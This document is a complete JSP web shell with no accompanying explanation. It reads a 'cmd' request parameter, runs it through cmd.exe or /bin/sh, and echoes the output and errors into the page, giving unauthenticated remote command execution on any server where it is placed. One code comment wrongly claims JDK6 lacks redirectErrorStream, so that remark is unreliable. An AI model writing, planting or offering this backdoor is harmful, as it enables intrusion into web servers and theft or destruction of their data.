<%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { String[] cmdArray; if (System.getProperty("os.name").toLowerCase().contains("win")) { cmdArray = new String[] {"cmd.exe", "/c", request.getParameter("cmd")}; } else { cmdArray = new String[] {"/bin/sh", "-c", request.getParameter("cmd")}; } Process process = Runtime.getRuntime().exec(cmdArray); // Read the output BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; out.println("
");
    while ((line = reader.readLine()) != null) {
        out.println(line);
    }
    
    // Read errors too (JDK6 doesn't have redirectErrorStream in ProcessBuilder)
    BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
    while ((line = errorReader.readLine()) != null) {
        out.println(line);
    }
    out.println("
"); } %>